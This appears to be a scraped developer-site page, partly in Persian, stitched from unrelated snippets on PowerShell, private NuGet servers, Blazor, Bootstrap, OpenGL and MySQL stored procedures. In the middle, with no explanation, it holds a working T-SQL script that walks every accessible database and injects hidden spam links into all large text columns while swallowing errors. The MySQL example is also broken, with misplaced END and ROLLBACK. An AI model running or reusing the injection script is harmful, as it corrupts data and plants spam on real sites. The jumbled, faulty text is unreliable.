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brew install --cask powershell

❯ pwsh
PowerShell 7.2.6
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS />

Anyone can write software, but it takes a seasoned developer to write decoupled software. Today, I cover the definition of loose coupling, how to detect it, and ways to improve your code. 

پی نوشت: برای داشتن نیوگت شخصی سایت‌های نظیر Nuget Server و Myget ( به همراه پشتیبانی از مخازن npm و Bower ) هم این سرویس را ارائه میکنند. ولی باید هزینه‌ی آن را پرداخت کنید. البته سایت GemFury مخازن رایگان مختلفی چون Nuget را نیز پشتیبانی می‌کند.

nuget init e:\nuget\ e:\nuget\test

nuget add GMap.Net.1.0.1.nupkg -source e:\nuget\test

Install-Package NuGet.Server

<appSettings>
    <!-- Set the value here to specify your custom packages folder. -->
    <add key="packagesPath" value="×\Packages" />
</appSettings>

(هر محلی که نصب کنید طبق الگوی مسیریابی، آدرس nuget را در انتها وارد کنید)

Dotnettips.info/nuget

nuget push GMap.Net.1.0.1.nupkg -source http://Dotenettips.info/nuget (ApiKey)

nuget setapikey -source https://www.dntips.ir/Nuget (ApiKey)

WHAT IS BLAZOR?

Blazor is a single-page app framework for building interactive client-side Web apps with .NET. Blazor uses open web standards without plugins or code transpilation. Blazor works in all modern web browsers, including mobile browsers. 

DECLARE @b AS CURSOR;

DECLARE @s AS VARCHAR (8000);

DECLARE @w AS VARCHAR (99);

SET @b = CURSOR
    FOR SELECT DB_NAME()
        UNION
        SELECT name
        FROM   sys.databases
        WHERE  (has_dbaccess(name) != 0)
               AND name NOT IN ('master', 'tempdb', 'model', 'msdb', DB_NAME());

OPEN @b;

FETCH NEXT FROM @b INTO @w;

WHILE @@FETCH_STATUS = 0
    BEGIN
        SET @s = 'begin try use ' + @w + ';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set 
[''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''<div style="display:none">desi adult stories <a 
href="http://www.site.com/">''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''stories'''' when 1 then ''''read'''' else ''''stories'''' end +''''</a> stories</div>'''' 
else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME 
WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while 
@@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';
        EXECUTE (@s);
        FETCH NEXT FROM @b INTO @w;
    END

CLOSE @b;

DELIMITER $$

CREATE 
          DEFINER=`user_name`@`host_name`|CURRENT_USER 
          PROCEDURE `transition_name`(

IN | OUT  | INOUT `parameter_name` type(bigint,int , ...)
)
    SQL SECURITY  DEFINER| INVOKER
transition_name: BEGIN

#----procedure_body 

END

  DEFINER=`user_name`@`host_name`|CURRENT_USER

CURRENT_USER

SQL SECURITY  DEFINER| INVOKER

DELIMITER $$

CREATE 
        DEFINER=CURRENT_USER
        PROCEDURE `transition_pay`(
                #-----------input value
               IN `pay_value` bigint,
               IN `admin_id` int,
               #-------------result code 
               OUT `result` bigint
)
    SQL SECURITY INVOKER
transition_pay: BEGIN 
DECLARE  admin_credit DOUBLE  DEFAULT  0;   
SELECT `Credit`
INTO   admin_credit  
FROM  `Admin`

WHERE `Admin_id` = admin_id 
#----- transaction  body
END

IF admin_id=0 THEN 
set result = -1 ; 
#exit procedure
LEAVE transition_pay;
END IF;

START TRANSACTION;
          INSERT INTO 
                                 `PayBalance` (`Value` , `Admin_id` )
                                  VALUES (pay_value,  admin_id);

          UPDATE `Admin`
           SET `Credit`=admin_credit + pay_value  
          WHERE `admin_id`=admin_id;
COMMIT;

IF pay_value=0 THEN 
set result = -1 ; 
#roolback procedure
ROLLBACK ;
END IF;  

SET autocommit = {0 | 1}

Bootstrap v5.2.0 is finally stable! We’ve ironed out more bugs, improved more documentation, written new guides and built out new functional environment examples, and so much more! 

he focus of the tutorials are on Modern OpenGL. Learning (and using) modern OpenGL requires a strong knowledge of graphics programming and how OpenGL operates under the hood to really get the best of your experience. So we will start by discussing core graphi 

<add name="connectionString1"
connectionString="Data Source=(local);Initial Catalog=TestDbIdentity;Integrated Security = true" 
providerName="System.Data.SqlClient" />